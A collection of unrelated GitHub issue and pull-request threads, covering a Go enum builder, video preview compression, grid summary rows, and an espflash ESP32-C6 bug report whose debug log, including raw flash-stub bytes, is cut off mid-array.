Add enum.Builder which can be used to construct a new enum:
type Color enum.Member[string]

var (
  b      = enum.NewBuilder[string, Color]()
  Red    = b.Add(Color{"red"})
  Green  = b.Add(Color{"green"})
  Blue   = b.Add(Color{"blue"})
  Colors = b.Enum()
)

The goal is to prevent situations when the enum may evolve as the project grows and people might forget to add new members to the enum.
I'll leave the PR open so you folks can leave your comments. Do you find it useful? Do you have ideas on how to make it better?

Let's do this!


NOt getting proper last seen in whatsapp

i am using
WhatSocket.Instance.OnGetLastSeen +=new WhatsEventBase.OnGetLastSeenDelegate(Instance_OnGetLastSeen);
WhatSocket.Instance.SendQueryLastOnline(whatsapp numner);
and i am using this
void Instance_OnGetLastSeen(string from, DateTime lastSeen)
{
        sw1.WriteLine("From # " + from + "# lastseen- " + lastSeen);
  }

But i not getting proper last seen. I will show randam last month time.
Can you help me please.

Deprecated function see main repo


Added video preview generation

Added start and duration to startCompress method along with
includeAudio and frame rate parameters. This is made in order
to create smaller videos that can be used for previews.
Currently on Android all parameters are used, on iOS it's not
possible with current library to set frame rate, and removing
audio from video is relativly complicated, so for the initial
implementation it is left out of iOS impelementation.

@TenkaiRuri I have implemented full functionality on Android. However on iOS current library can't reduce frame rate. Also, I couldn't manage to remove the audio properly. Can you please take a look at that?
Did you plan to switch to ffmpeg on iOS as well since ffmpeg has bigger feature set than AVAsset and it's easier to use?

@vlada3003 Good job, Let me handle it for me. For the problem of changing, I have to think about it.


Fix invalid etc env (fix #73)

Ignore empty keys when building the map_env dict

Thanks for catching this :). Please feel free to open the PR in kafka-operator if you haven't already.

kafka PR:  https://github.com/canonical/kafka-operator/pull/122

Hi @verterok ! Would you mind rebasing on top of main to make sure we have a green CI pipeline? We have just merged a PR to fix the broken built process. Thanks!


[Feature Request] Waveform Analysis on any audio

Would it be possible to read in any audio source, either via by a storage file or an MediaSource instance and then perform waveform analysis on them without having to playback the item? I am basically looking to do sort of a waveform seekbar, which could look like this:

I think this would be a great addition to the package.

Yes - in the next commit there will be a wrapper around IMFSourceReader, which will allow you to read from any audio or video file that has a decoder installed and get the decoded audio. You can use the read frames then to pass on to the AudioAnalyzer for spectrum or read the raw values to create a visualization like you have attached. This should get in before holidays

This feature is part of the latest release now.


Grid Summary Row

#737
Support for showing a summary/total row in our Grid component pinned to the top or bottom (uses ag-Grid pinned row feature)
In order to use the summary row the application needs to include a row in the store with an id of "summary" which contains the data to display, and set the new showSummary prop on the GridModel. If the store contains hierarchical data, the "summary" record will be excluded from the main record hierarchy (it is stored separately in RecordSet). I went through several iterations on this implementation and landed on this as the best approach. In the future if we end up merging the Aggregation support in Cube/CubeRecord over to Store/Record the interface for the summary support shouldn't need to change and would be able to handle summary record without needing the application to provide the it.
A caveat of using the summary row is that any app-defined pinned rows will be overwritten when the Grid component updates the summary row. An alternative approach to achieving summary rows in ag-Grid would be to use aligned grids, but that seemed like it would be a more complex implementation for our Grid/GridModel, though it has the advantage of not conflicting with pinned rows an application may want to set.

Toolbox example: https://github.com/exhi/toolbox/pull/196

The summary row should not be effected by store filtering at all, it is kept separate from the other records for this reason. The summary row will always be visible, even if the store filter would result in 0 records shown.
The same implementation should work fine on mobile, I added an example in the toolbox branch for the mobile tree grid. Were you thinking we needed a different approach for summary rows on mobile?

John and I went through this in great detail this afternoon.  In particular, he explained to me the rational behind having an explicit "out-of-band" handling of the summary record in Store, vs. just interpreting the single root as the total.
I have to say I wasn't 100% convinced and we agreed to continue thinking about it and get others to chime in.  I am still kind of partial for just looking for a root of any kind.  John mentioned that in the case of flat data, it's strange to introduce the hierarchical data/children thing for the purposes of the total row alone.
It does seem to me that we would never want the filter to whack our total row, so we want storeFilter to also recognize the summary in some way.....
In any case,  I do feel pretty strongly that if we want to identify a total row in the rawData other than having it be the root,  I would prefer a dedicated flag along the lines of "isStoreTotal' versus putting the magic string in the id....


MemData Command error on ESP32C6 without --no-stub flag

When running any espflash command (e.g. board-info) against an ESP32-C6-WROOM-1 I get the following error:
> espflash board-info
[2024-05-15T10:30:07Z INFO ] Detected 4 serial ports
[2024-05-15T10:30:07Z INFO ] Ports which match a known common dev board are highlighted
[2024-05-15T10:30:07Z INFO ] Please select a port
[2024-05-15T10:30:09Z INFO ] Serial port: '/dev/cu.usbmodem574C0343841'
[2024-05-15T10:30:09Z INFO ] Connecting...
[2024-05-15T10:30:09Z INFO ] Using flash stub
Error:   × The bootloader returned an error
  ├─▶ Error while running MemData command
  ╰─▶ Other

If I supply the --no-stub flag it works as expected:
> espflash board-info --no-stub
[2024-05-15T10:30:46Z INFO ] Detected 4 serial ports
[2024-05-15T10:30:46Z INFO ] Ports which match a known common dev board are highlighted
[2024-05-15T10:30:46Z INFO ] Please select a port
[2024-05-15T10:30:48Z INFO ] Serial port: '/dev/cu.usbmodem574C0343841'
[2024-05-15T10:30:48Z INFO ] Connecting...
Chip type:         esp32c6 (revision v0.0)
Crystal frequency: 40 MHz
Flash size:        8MB
Features:          WiFi 6, BT 5
MAC address:       40:4c:ca:4a:c6:d0

This is reproducible on the latest commit in main (890f17ac46ea8d579118ae5a726c3a940ede9065).
The same error occurs with other commands too, e.g. monitor, flash, etc.

Thanks for reporting, can you run espflash with RUST_LOG=debug espflash board-info in the no-stub case. Thanks!

Thanks for reporting, can you run espflash with RUST_LOG=debug espflash board-info in the no-stub case. Thanks!

Thanks for the fast response 😄
> RUST_LOG=debug espflash board-info
[2024-05-15T10:40:04Z DEBUG] BoardInfo(
        ConnectArgs {
            after: HardReset,
            baud: None,
            before: DefaultReset,
            chip: None,
            confirm_port: false,
            list_all_ports: false,
            no_stub: false,
            port: None,
        },
    )
[2024-05-15T10:40:04Z DEBUG] connecting to crates.io:443 at [2600:9000:203b:2600:c:7ed3:240:93a1]:443
[2024-05-15T10:40:04Z DEBUG] No cached session for DnsName("crates.io")
[2024-05-15T10:40:04Z DEBUG] Not resuming any session
[2024-05-15T10:40:04Z DEBUG] Using ciphersuite TLS13_AES_128_GCM_SHA256
[2024-05-15T10:40:04Z DEBUG] Not resuming
[2024-05-15T10:40:04Z DEBUG] TLS1.3 encrypted extensions: [ServerNameAck]
[2024-05-15T10:40:04Z DEBUG] ALPN protocol is None
[2024-05-15T10:40:04Z DEBUG] created stream: Stream(RustlsStream)
[2024-05-15T10:40:04Z DEBUG] sending request GET https://crates.io/api/v1/crates/espflash/versions
[2024-05-15T10:40:04Z DEBUG] writing prelude: GET /api/v1/crates/espflash/versions HTTP/1.1
    Host: crates.io
    User-Agent: ureq/2.9.7
    Accept: */*
    accept-encoding: gzip
[2024-05-15T10:40:04Z DEBUG] Chunked body in response
[2024-05-15T10:40:04Z DEBUG] response 200 to GET https://crates.io/api/v1/crates/espflash/versions
[2024-05-15T10:40:04Z DEBUG] dropping stream: Stream(RustlsStream)
[2024-05-15T10:40:04Z DEBUG] Config: Config {
        baudrate: None,
        bootloader: None,
        connection: Connection {
            serial: None,
        },
        partition_table: None,
        usb_device: [
            UsbDevice {
                vid: 6790,
                pid: 21971,
            },
        ],
        save_path: "/Users/jlcc/Library/Application Support/rs.esp.espflash/espflash.toml",
    }
[2024-05-15T10:40:04Z INFO ] Detected 4 serial ports
[2024-05-15T10:40:04Z INFO ] Ports which match a known common dev board are highlighted
[2024-05-15T10:40:04Z INFO ] Please select a port
[2024-05-15T10:40:06Z INFO ] Serial port: '/dev/cu.usbmodem574C0343841'
[2024-05-15T10:40:06Z INFO ] Connecting...
[2024-05-15T10:40:06Z DEBUG] Using UnixTight reset strategy with delay of 50ms
[2024-05-15T10:40:06Z DEBUG] Boot Mode: 0x4
[2024-05-15T10:40:06Z DEBUG] Download Mode: false
[2024-05-15T10:40:06Z DEBUG] Writing command: Sync
[2024-05-15T10:40:06Z DEBUG] Writing command: Sync
[2024-05-15T10:40:06Z DEBUG] Writing command: ReadReg { address:<PHONE_NUMBER> }
[2024-05-15T10:40:06Z INFO ] Using flash stub
[2024-05-15T10:40:06Z DEBUG] Loading flash stub for chip: Esp32c6
[2024-05-15T10:40:06Z DEBUG] Write 15956 byte stub text
[2024-05-15T10:40:06Z DEBUG] Writing command: MemBegin { size: 15956, blocks: 3, block_size: 6144, offset:<PHONE_NUMBER>, supports_encryption: false }
[2024-05-15T10:40:06Z DEBUG] Writing command: MemData { data: [183, 0, 128, 64, 103, 128, 128, 0, 23, 69, 0, 0, 19, 5, 133, 4, 151, 5, 1, 0, 147, 133, 69, 71, 99, 87, 181, 0, 129, 70, 20, 193, 17, 5, 227, 78, 181, 254, 23, 5, 128, 15, 19, 5, 165, 253, 151, 5, 128, 15, 147, 133, 37, 253, 99, 87, 181, 0, 129, 70, 20, 193, 17, 5, 227, 78, 181, 254, 129, 64, 1, 65, 129, 65, 1, 66, 129, 66, 1, 67, 129, 67, 1, 68, 129, 68, 1, 69, 129, 69, 1, 70, 129, 70, 1, 71, 129, 71, 1, 72, 129, 72, 1, 73, 129, 73, 1, 74, 129, 74, 1, 75, 129, 75, 1, 76, 129, 76, 1, 77, 129, 77, 1, 78, 129, 78, 1, 79, 129, 79, 151, 65, 0, 0, 147, 129, 225, 124, 243, 35, 64, 241, 183, 2, 0, 0, 147, 130, 2, 0, 99, 244, 114, 0, 111, 0, 128, 4, 23, 225, 6, 0, 19, 1, 33, 87, 145, 66, 51, 1, 81, 64, 19, 113, 1, 255, 10, 132, 111, 0, 64, 0, 65, 17, 6, 198, 151, 32, 0, 0, 231, 128, 160, 169, 151, 16, 0, 0, 231, 128, 224, 102, 55, 21, 129, 64, 183, 197, 173, 222, 147, 133, 229, 171, 35, 34, 181, 72, 151, 0, 0, 0, 231, 128, 96, 92, 111, 0, 0, 0, 65, 17, 6, 198, 151, 0, 128, 255, 231, 128, 96, 6, 19, 53, 21, 0, 125, 21, 19, 117, 53, 6, 178, 64, 65, 1, 130, 128, 65, 17, 6, 198, 131, 69, 21, 0, 3, 70, 5, 0, 131, 70, 37, 0, 3, 71, 53, 0, 162, 5, 209, 141, 194, 6, 98, 7, 217, 142, 51, 232, 182, 0, 131, 69, 85, 0, 3, 70, 69, 0, 131, 70, 101, 0, 3, 71, 117, 0, 162, 5, 209, 141, 194, 6, 98, 7, 217, 142, 213, 141, 3, 70, 149, 0, 131, 70, 133, 0, 3, 71, 165, 0, 131, 71, 181, 0, 34, 6, 85, 142, 66, 7, 226, 7, 93, 143, 89, 142, 131, 72, 213, 0, 3, 71, 197, 0, 131, 71, 229, 0, 131, 70, 245, 0, 162, 8, 51, 231, 232, 0, 194, 7, 226, 6, 221, 142, 217, 142, 131, 72, 21, 1, 131, 66, 5, 1, 3, 67, 37, 1, 131, 71, 53, 1, 162, 8, 51, 231, 88, 0, 66, 3, 226, 7, 179, 231, 103, 0, 93, 143, 131, 66, 85, 1, 131, 72, 69, 1, 3, 67, 101, 1, 3, 69, 117, 1, 162, 2, 179, 231, 18, 1, 66, 3, 98, 5, 51, 101, 101, 0, 201, 143, 66, 133, 151, 0, 128, 255, 231, 128, 64, 250, 19, 53, 21, 0, 125, 21, 19, 117, 69, 252, 178, 64, 65, 1, 130, 128, 178, 134, 46, 134, 129, 69, 23, 3, 0, 0, 103, 0, 35, 8, 65, 17, 6, 198, 34, 196, 38, 194, 46, 132, 170, 132, 151, 0, 0, 0, 231, 128, 224, 36, 41, 70, 38, 133, 162, 133, 151, 0, 0, 0, 231, 128, 32, 37, 3, 69, 180, 0, 131, 69, 164, 0, 3, 70, 196, 0, 131, 70, 212, 0, 34, 5, 77, 141, 66, 6, 226, 6, 179, 229, 198, 0, 201, 141, 3, 69, 244, 0, 3, 70, 228, 0, 131, 70, 4, 1, 3, 71, 20, 1, 34, 5, 81, 141, 194, 6, 98, 7, 51, 102, 215, 0, 73, 142, 38, 133, 151, 0, 0, 0, 231, 128, 192, 32, 38, 133, 178, 64, 34, 68, 146, 68, 65, 1, 23, 3, 0, 0, 103, 0, 131, 30, 57, 113, 6, 222, 34, 220, 38, 218, 74, 216, 78, 214, 82, 212, 86, 210, 90, 208, 94, 206, 98, 204, 102, 202, 106, 200, 110, 198, 170, 138, 3, 43, 69, 1, 68, 69, 54, 138, 50, 137, 174, 137, 218, 140, 99, 99, 219, 0, 210, 140, 3, 164, 10, 1, 131, 173, 138, 0, 38, 196, 230, 148, 193, 107, 5, 109, 99, 127, 148, 2, 19, 21, 4, 1, 9, 237, 51, 12, 116, 1, 99, 234, 141, 1, 19, 85, 4, 1, 151, 0, 128, 255, 231, 128, 64, 233, 25, 201, 97, 160, 19, 85, 196, 0, 151, 0, 128, 255, 231, 128, 0, 232, 45, 237, 51, 12, 164, 1, 35, 168, 138, 1, 98, 132, 227, 101, 156, 252, 1, 68, 162, 75, 94, 140, 99, 133, 12, 4, 5, 101, 230, 132, 99, 227, 172, 0, 133, 100, 99, 108, 138, 6, 179, 5, 137, 0, 98, 133, 38, 134, 99, 135, 9, 0, 151, 0, 128, 255, 231, 128, 64, 225, 41, 160, 151, 0, 128, 255, 231, 128, 32, 228, 19, 53, 21, 0, 125, 21, 19, 117, 69, 12, 163, 142, 170, 0, 179, 140, 156, 64, 38, 148, 38, 156, 227, 159, 12, 250, 1, 69, 179, 133, 139, 0, 214, 134, 204, 198, 179, 5, 139, 64, 51, 54, 187, 0, 125, 22, 241, 141, 204, 202, 25, 160, 19, 5, 96, 3, 242, 80, 98, 84, 210, 84, 66, 89, 178, 89, 34, 90, 146, 90, 2, 91, 242, 75, 98, 76, 210, 76, 66, 77, 178, 77, 33, 97, 130, 128, 0, 0, 1, 17, 6, 206, 34, 204, 38, 202, 74, 200, 78, 198, 178, 137, 46, 137, 42, 132, 34, 133, 151, 0, 0, 0, 231, 128, 128, 32, 19, 117, 245, 15, 19, 5, 5, 244, 125, 245, 129, 68, 34, 133, 151, 0, 0, 0, 231, 128, 32, 31, 147, 117, 245, 15, 19, 134, 85, 242, 29, 226, 34, 133, 151, 0, 0, 0, 231, 128, 224, 29, 19, 117, 245, 15, 147, 5, 69, 242, 153, 205, 19, 5, 53, 242, 113, 249, 19, 5, 176, 13, 99, 237, 52, 1, 37, 168, 147, 133, 5, 244, 145, 205, 99, 231, 52, 1, 53, 160, 19, 5, 0, 12, 99, 243, 52, 3, 179, 5, 153, 0, 35, 128, 165, 0, 133, 4, 109, 183, 99, 235, 153, 0, 74, 133, 166, 133, 242, 64, 98, 68, 210, 68, 66, 73, 178, 73, 5, 97, 130, 128, 0, 0, 65, 17, 6, 198, 34, 196, 38, 194, 74, 192, 50, 137, 174, 132, 42, 132, 151, 0, 0, 0, 231, 128, 160, 2, 34, 133, 166, 133, 74, 134, 151, 0, 0, 0, 231, 128, 224, 2, 34, 133, 178, 64, 34, 68, 146, 68, 2, 73, 65, 1, 23, 3, 0, 0, 103, 0, 131, 0, 183, 69, 128, 64, 147, 133, 5, 249, 5, 70, 23, 3, 0, 0, 103, 0, 67, 31, 1, 17, 6, 206, 34, 204, 38, 202, 74, 200, 78, 198, 82, 196, 50, 132, 174, 132, 42, 137, 55, 69, 128, 64, 147, 9, 21, 249, 55, 69, 128, 64, 19, 10, 53, 249, 21, 206, 3, 197, 4, 0, 147, 5, 5, 244, 129, 201, 147, 5, 85, 242, 137, 233, 9, 70, 74, 133, 210, 133, 25, 168, 9, 70, 74, 133, 206, 133, 57, 160, 163, 3, 161, 0, 147, 5, 113, 0, 5, 70, 74, 133, 151, 0, 0, 0, 231, 128, 160, 25, 133, 4, 125, 20, 97, 244, 242, 64, 98, 68, 210, 68, 66, 73, 178, 73, 34, 74, 5, 97, 130, 128, 29, 113, 134, 206, 162, 204, 42, 132, 10, 133, 151, 0, 128, 255, 231, 128, 64, 40, 138, 133, 19, 6, 128, 5, 34, 133, 151, 0, 128, 255, 231, 128, 64, 253, 246, 64, 102, 68, 37, 97, 130, 128, 1, 17, 6, 206, 34, 204, 38, 202, 42, 132, 10, 133, 151, 0, 128, 255, 231, 128, 0, 38, 3, 72, 1, 0, 131, 72, 17, 0, 131, 66, 33, 0, 3, 67, 49, 0, 131, 67, 65, 0, 3, 78, 81, 0, 131, 78, 97, 0, 3, 79, 113, 0, 131, 79, 129, 0, 131, 70, 145, 0, 3, 71, 161, 0, 131, 71, 177, 0, 3, 69, 241, 0, 131, 69, 225, 0, 3, 70, 209, 0, 131, 68, 193, 0, 163, 7, 164, 0, 35, 7, 180, 0, 163, 6, 196, 0, 35, 6, 148, 0, 163, 5, 244, 0, 35, 5, 228, 0, 163, 4, 212, 0, 35, 4, 244, 1, 163, 3, 228, 1, 35, 3, 212, 1, 163, 2, 196, 1, 35, 2, 116, 0, 163, 1, 100, 0, 35, 1, 84, 0, 163, 0, 20, 1, 35, 0, 4, 1, 242, 64, 98, 68, 210, 68, 5, 97, 130, 128, 65, 17, 6, 198, 34, 196, 57, 201, 133, 69, 99, 20, 181, 10, 55, 69, 128, 64, 19, 5, 133, 7, 197, 69, 170, 5, 46, 149, 161, 69, 129, 71, 243, 119, 4, 48, 16, 65, 84, 65, 3, 71, 133, 0, 161, 139, 153, 195, 115, 160, 5, 48, 53, 142, 89, 142, 19, 54, 22, 0, 109, 242, 1, 68, 115, 116, 4, 48, 151, 48, 0, 0, 231, 128, 32, 165, 5, 137, 53, 193, 33, 136, 57, 200, 33, 69, 115, 32, 5, 48, 185, 160, 55, 69, 128, 64, 19, 5, 133, 7, 197, 69, 170, 5, 46, 149, 161, 69, 129, 71, 243, 119, 4, 48, 16, 65, 84, 65, 3, 71, 133, 0, 161, 139, 153, 195, 115, 160, 5, 48, 53, 142, 89, 142, 19, 54, 22, 0, 109, 242, 1, 68, 115, 116, 4, 48, 151, 48, 0, 0, 231, 128, 64, 160, 5, 137, 25, 201, 33, 136, 1, 196, 33, 69, 115, 32, 5, 48, 46, 133, 178, 64, 34, 68, 65, 1, 130, 128, 0, 0, 49, 193, 133, 70, 99, 16, 213, 6, 55, 245, 0, 96, 13, 72, 21, 202, 147, 6, 0, 4, 178, 135, 99, 100, 214, 0, 147, 7, 0, 4, 179, 136, 245, 0, 62, 135, 153, 199, 131, 198, 5, 0, 133, 5, 20, 193, 125, 23, 125, 251, 35, 34, 5, 1, 76, 65, 141, 137, 245, 221, 29, 142, 198, 133, 97, 250, 130, 128, 46, 150, 55, 5, 0, 96, 227, 140, 197, 254, 84, 77, 162, 6, 227, 206, 6, 254, 131, 198, 5, 0, 133, 5, 20, 193, 227, 152, 197, 254, 197, 183, 0, 0, 17, 113, 134, 223, 162, 221, 166, 219, 202, 217, 206, 215, 210, 213, 214, 211, 218, 209, 222, 207, 226, 205, 230, 203, 234, 201, 238, 199, 41, 101, 19, 5, 5, 130, 51, 1, 161, 64, 1, 69, 115, 117, 4, 48, 183, 69, 128, 64, 3, 198, 133, 5, 227, 23, 6, 84, 5, 70, 33, 137, 35, 140, 197, 4, 1, 197, 33, 69, 115, 32, 5, 48, 55, 4, 11, 96, 19, 6, 4, 8, 104, 70, 169, 101, 147, 133, 101, 129, 51, 11, 177, 0, 183, 5, 0, 112, 77, 141, 104, 198, 104, 70, 141, 101, 147, 133, 69, 179, 51, 9, 177, 0, 183, 5, 0, 2, 77, 141, 104, 198, 33, 69, 133, 69, 151, 16, 0, 0, 231, 128, 96, 237, 55, 245, 10, 96, 12, 73, 147, 229, 21, 0, 12, 201, 147, 5, 4, 128, 136, 77, 109, 153, 136, 205, 136, 77, 19, 101, 133, 0, 136, 205, 9, 69, 147, 5, 0, 5, 151, 16, 0, 0, 231, 128, 0, 240, 13, 69, 161, 69, 151, 16, 0, 0, 231, 128, 64, 239, 19, 5, 96, 6, 149, 69, 9, 70, 129, 70, 1, 71, 151, 16, 0, 0, 231, 128, 0, 213, 19, 5, 96, 6, 149, 69, 25, 70, 145, 70, 1, 71, 151, 16, 0, 0, 231, 128, 192, 211, 25, 69, 147, 5, 48, 7, 151, 16, 0, 0, 231, 128, 224, 235, 19, 5, 96, 6, 165, 69, 5, 70, 9, 71, 129, 70, 151, 16, 0, 0, 231, 128, 160, 209, 3, 37, 132, 129, 30, 5, 227, 93, 5, 254, 55, 5, 11, 96, 19, 6, 5, 128, 12, 78, 147, 229, 69, 0, 12, 206, 12, 78, 221, 153, 12, 206, 33, 69, 161, 68, 129, 69, 151, 16, 0, 0, 231, 128, 96, 226, 55, 100, 9, 96, 72, 76, 193, 117, 253, 21, 19, 134, 5, 16, 113, 141, 19, 5, 5, 80, 72, 204, 147, 6, 4, 16, 136, 78, 1, 118, 19, 6, 246, 15, 113, 141, 136, 206, 136, 78, 109, 141, 136, 206, 136, 74, 183, 5, 253, 255, 253, 21, 109, 141, 193, 101, 77, 141, 136, 202, 19, 5, 0, 10, 151, 0, 128, 255, 231, 128, 64, 131, 5, 69, 5, 74, 151, 16, 0, 0, 231, 128, 64, 232, 151, 0, 128, 255, 231, 128, 192, 136, 3, 69, 133, 1, 141, 69, 99, 18, 181, 6, 147, 5, 4, 8, 200, 69, 19, 101, 21, 0, 200, 197, 200, 69, 117, 153, 200, 197, 55, 245, 0, 96, 129, 69, 12, 201, 68, 201, 12, 201, 145, 69, 76, 201, 12, 73, 147, 229, 69, 0, 12, 201, 19, 5, 0, 3, 151, 16, 0, 0, 231, 128, 224, 232, 55, 69, 128, 64, 147, 9, 5, 5, 19, 245, 201, 255, 147, 245, 57, 0, 142, 5, 51, 22, 186, 0, 47, 37, 197, 68, 51, 85, 181, 0, 19, 117, 245, 15, 227, 24, 5, 56, 133, 9, 229, 160, 55, 5, 0, 96, 12, 81, 55, 6, 16, 0, 209, 141, 12, 209, 12, 64, 147, 229, 21, 0, 12, 192, 12, 64, 245, 153, 12, 192, 183, 5, 4, 0, 147, 133, 21, 17, 12, 201, 1, 70, 80, 197, 157, 101, 137, 5, 12, 201, 80, 197, 12, 64, 241, 153, 133, 5, 12, 192, 76, 64, 55, 6, 128, 255, 241, 141, 55, 6, 112, 0, 209, 141, 76, 192, 147, 5, 176, 21, 76, 201, 131, 37, 133, 9, 147, 229, 21, 0, 35, 44, 181, 8, 131, 37, 133, 9, 133, 137, 237, 253, 55, 5, 0, 96, 12, 81, 147, 229, 197, 0, 12, 209, 12, 81, 245, 153, 12, 209, 12, 81, 147, 245, 245, 252, 193, 5, 12, 209, 76, 69, 147, 229, 21, 0, 76, 197, 19, 5, 176, 2, 151, 16, 0, 0, 231, 128, 0, 221, 55, 69, 128, 64, 147, 9, 5, 6, 147, 133, 73, 1, 19, 246, 197, 255, 141, 137, 142, 5, 133, 70, 179, 150, 182, 0, 47, 38, 214, 68, 179, 85, 182, 0, 147, 245, 245, 15, 227, 151, 5, 44, 137, 69, 35, 16, 181, 6, 19, 133, 41, 0, 141, 101, 147, 133, 69, 179, 138, 149, 57, 70, 151, 0, 128, 255, 231, 128, 0, 180, 1, 74, 35, 136, 9, 0, 41, 69, 35, 137, 169, 0, 13, 101, 19, 5, 69, 179, 179, 4, 161, 0, 13, 68, 5, 101, 147, 10, 5, 218, 25, 200, 38, 133, 129, 69, 86, 134, 151, 0, 128, 255, 231, 128, 224, 176, 214, 148, 125, 20, 125, 244, 141, 107, 19, 132, 11, 142, 29, 101, 19, 5, 69, 243, 10, 149, 141, 101, 147, 133, 69, 179, 138, 149, 34, 134, 151, 0, 128, 255, 231, 128, 192, 174, 55, 69, 0, 96, 8, 93, 113, 137, 97, 21, 19, 53, 21, 0, 129, 69, 151, 0, 128, 255, 231, 128, 64, 128, 35, 32, 9, 0, 55, 5, 0, 1, 202, 133, 200, 193, 193, 106, 35, 36, 89, 1, 5, 101, 200, 197, 19, 5, 0, 16, 136, 201, 19, 133, 250, 255, 200, 201, 13, 101, 19, 5, 69, 179, 10, 149, 151, 240, 255, 255, 231, 128, 128, 111, 82, 212, 78, 214, 8, 24, 147, 4, 97, 8, 19, 6, 96, 5, 129, 69, 151, 0, 128, 255, 231, 128, 96, 168, 29, 101, 19, 5, 69, 243, 179, 5, 161, 0, 38, 133, 34, 134, 151, 0, 128, 255, 231, 128, 64, 167, 19, 133, 235, 147, 44, 16, 46, 149, 19, 6, 208, 28, 129, 69, 151, 0, 128, 255, 231, 128, 160, 165, 19, 5, 240, 4, 35, 0, 169, 0, 19, 5, 128, 4, 163, 0, 169, 0, 19, 5, 16, 4, 35, 1, 169, 0, 19, 5, 144, 4, 163, 1, 169, 0, 13, 101, 19, 5, 69, 179, 179, 5, 161, 0, 17, 70, 82, 133, 151, 0, 0, 0, 231, 128, 224, 151, 197, 76, 19, 150, 172, 0, 13, 101, 19, 5, 69, 179, 10, 149, 129, 69, 50, 140, 151, 0, 128, 255, 231, 128, 160, 160, 161, 75, 147, 138, 10, 240, 55, 69, 128, 64, 147, 9, 5, 2, 19, 213, 137, 1, 42, 210, 19, 218, 9, 1, 19, 221, 137, 0, 55, 69, 128, 64, 19, 5, 5, 234, 42, 206, 55, 133, 128, 64, 19, 5, 69, 72, 42, 200, 55, 69, 128, 64, 19, 5, 69, 229, 42, 208, 9, 101, 19, 5, 5, 113, 42, 196, 86, 202, 34, 85, 141, 101, 147, 133, 69, 179, 138, 149, 98, 134, 151, 0, 0, 0, 231, 128, 64, 135, 227, 226, 117, 19, 42, 132, 46, 137, 3, 69, 21, 0, 131, 69, 4, 0, 3, 70, 36, 0, 131, 70, 52, 0, 34, 5, 77, 141, 66, 6, 226, 6, 85, 142, 179, 100, 166, 0, 51, 245, 84, 1, 19, 5, 5, 240, 227, 11, 5, 14, 131, 69, 68, 0, 3, 71, 84, 0, 131, 72, 100, 0, 131, 70, 116, 0, 19, 213, 132, 0, 147, 151, 133, 1, 93, 141, 5, 70, 35, 0, 203, 0, 163, 0, 171, 0, 163, 1, 11, 0, 9, 70, 35, 1, 203, 0, 163, 3, 11, 0, 35, 3, 11, 0, 163, 2, 11, 0, 35, 2, 11, 0, 35, 4, 11, 0, 163, 4, 11, 0, 35, 5, 59, 1, 18, 86, 163, 6, 203, 0, 35, 6, 75, 1, 163, 5, 171, 1, 163, 8, 11, 0, 35, 8, 11, 0, 163, 7, 11, 0, 147, 125, 245, 15, 19, 133, 237, 255, 35, 7, 11, 0, 73, 70, 99, 101, 166, 12, 10, 5, 2, 86, 50, 149, 28, 65, 19, 5, 48, 12, 130, 135, 19, 5, 0, 12, 225, 69, 99, 106, 185, 110, 151, 34, 0, 0, 231, 130, 226, 90, 179, 229, 198, 0, 201, 141, 3, 69, 84, 1, 3, 70, 68, 1, 131, 70, 100, 1, 3, 71, 116, 1, 34, 5, 81, 141, 194, 6, 98, 7, 217, 142, 85, 141, 3, 70, 212, 0, 131, 70, 196, 0, 3, 71, 228, 0, 131, 71, 244, 0, 34, 6, 85, 142, 66, 7, 226, 7, 93, 143, 89, 142, 131, 70, 148, 0, 3, 71, 132, 0, 131, 71, 164, 0, 131, 68, 180, 0, 162, 6, 217, 142, 194, 7, 226, 4, 197, 143, 221, 142, 125, 119, 105, 143, 58, 220, 42, 218, 54, 149, 42, 216, 51, 5, 182, 2, 170, 192, 54, 222, 35, 20, 1, 4, 35, 19, 1, 4, 5, 69, 35, 2, 161, 4, 65, 69, 99, 133, 173, 0, 9, 69, 99, 151, 173, 102, 19, 5, 32, 12, 17, 102, 99, 109, 182, 100, 151, 240, 127, 255, 231, 128, 192, 79, 170, 133, 19, 5, 80, 12, 99, 148, 5, 100, 185, 165, 19, 133, 13, 243, 10, 5, 114, 70, 50, 149, 8, 65, 2, 133, 151, 240, 127, 255, 231, 128, 160, 74, 170, 133, 19, 5, 64, 12, 99, 147, 5, 98, 53, 165, 97, 69, 99, 109, 169, 96, 38, 133, 5, 70, 99, 139, 205, 96, 3, 69, 65, 4, 99, 3, 5, 84, 19, 8, 137, 254, 147, 2, 132, 1, 99, 0, 8, 84, 179, 4, 36, 1, 147, 7, 240, 14, 22, 133, 3, 70, 5, 0, 5, 5, 177, 143, 227, 28, 149, 254, 147, 247, 247, 15, 29, 163, 19, 5, 0, 12, 99, 15, 121, 93, 131, 69, 132, 0, 38, 133, 9, 70, 99, 137, 197, 92, 3, 69, 65, 4, 99, 1, 5, 80, 114, 86, 19, 5, 128, 12, 99, 16, 6, 92, 35, 2, 1, 4, 99, 145, 5, 92, 34, 85, 169, 101, 147, 133, 101, 129, 138, 149, 151, 240, 255, 255, 231, 128, 224, 77, 34, 69, 151, 240, 127, 255, 231, 128, 32, 51, 151, 240, 127, 255, 231, 128, 160, 55, 105, 171, 19, 5, 0, 2, 99, 99, 169, 88, 147, 5, 36, 0, 121, 70, 29, 101, 19, 5, 101, 243, 10, 149, 151, 240, 127, 255, 231, 128, 96, 119, 29, 101, 19, 5, 69, 243, 10, 149, 35, 0, 149, 0, 173, 69, 163, 0, 181, 0, 29, 101, 19, 5, 197, 243, 10, 149, 151, 240, 255, 255, 231, 128, 160, 58, 147, 117, 245, 15, 99, 149, 5, 84, 129, 171, 19, 5, 0, 12, 193, 69, 99, 111, 185, 82, 242, 85, 19, 5, 128, 12, 99, 154, 5, 82, 151, 34, 0, 0, 231, 130, 130, 56, 99, 25, 5, 82, 3, 69, 212, 0, 131, 69, 196, 0, 3, 70, 228, 0, 34, 5, 131, 70, 244, 0, 201, 141, 66, 6, 34, 85, 226, 6, 85, 142, 51, 100, 182, 0, 169, 101, 147, 133, 101, 129, 138, 149, 151, 240, 255, 255, 231, 128, 0, 67, 34, 69, 151, 240, 127, 255, 231, 128, 64, 40, 2, 148, 205, 169, 19, 5, 0, 12, 225, 69, 99, 96, 185, 78, 151, 34, 0, 0, 231, 130, 34, 53, 51, 105, 166, 0, 151, 34, 0, 0, 231, 130, 34, 54, 151, 240, 127, 255, 231, 128, 32, 108, 41, 101, 19, 5, 197, 130, 10, 149, 151, 240, 255, 255, 231, 128, 128, 108, 99, 8, 9, 4, 29, 101, 19, 5, 69, 243, 179, 5, 161, 0, 5, 102, 34, 133, 151, 240, 255, 255, 231, 128, 96, 45, 147, 117, 245, 15, 99, 